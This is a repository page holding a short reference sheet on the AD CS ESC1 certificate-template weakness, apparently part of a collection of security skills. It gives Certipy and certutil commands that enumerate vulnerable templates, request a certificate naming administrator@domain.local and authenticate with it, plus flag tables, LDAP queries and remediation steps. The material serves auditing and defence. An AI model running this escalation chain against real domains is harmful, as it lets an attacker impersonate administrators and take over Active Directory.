saint-graves/sica-fondt
1
0
Fork 0
mirror of https://github.com/SHOGGOTH-SECTOR/sica-fondt.git synced 2026-08-01 00:23:15 +00:00
Code Issues Packages Projects Releases Wiki Activity
sica-fondt/knowledge/cyber-skills/skills/exploiting-active-directory-certificate-services-esc1/references/api-reference.md
Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure 
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

2.1 KiB
Raw Blame History

API Reference: AD CS ESC1 Vulnerability

ESC1 — Enrollee Supplies Subject Alternative Name

Vulnerability Conditions

  1. Template allows enrollee to supply SAN (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
  2. Template has Client Authentication EKU (OID 1.3.6.1.5.5.7.3.2)
  3. Low-privileged users (Domain Users) can enroll
  4. No manager approval required

Certipy — AD CS Auditing Tool

Find Vulnerable Templates

certipy find -u user@domain.local -p password -dc-ip 10.10.10.1 -vulnerable

Request Certificate with SAN (ESC1)

certipy req -u user@domain.local -p password -dc-ip 10.10.10.1 \
    -ca CORP-CA -template VulnerableTemplate \
    -upn administrator@domain.local

Authenticate with Certificate

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

certutil — Windows Built-in

List Templates

certutil -v -template
certutil -catemplates
certutil -TCAInfo

Request Certificate

certutil -submit -attrib "SAN:upn=admin@domain.local" request.req

Certificate Template Flags

msPKI-Certificate-Name-Flag

Value Name Risk
0x00000001 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT CRITICAL
0x00010000 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME CRITICAL

msPKI-Enrollment-Flag

Value Name
0x00000002 CT_FLAG_PEND_ALL_REQUESTS (manager approval)
0x00000020 CT_FLAG_AUTO_ENROLLMENT

LDAP Queries for AD CS

Find templates with ENROLLEE_SUPPLIES_SUBJECT

(&(objectClass=pKICertificateTemplate)
  (msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1))

Find CAs

(objectClass=pKIEnrollmentService)

PowerShell — PSPKI Module

Install

Install-Module -Name PSPKI

Get Templates

Get-CertificateTemplate | Where-Object {
    $_.Flags -band 1  # ENROLLEE_SUPPLIES_SUBJECT
} | Select-Object Name, Flags, OID

Remediation

  1. Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from template flags
  2. Require CA manager approval for certificate issuance
  3. Restrict enrollment permissions to specific security groups
  4. Enable certificate auditing (Event ID 4887)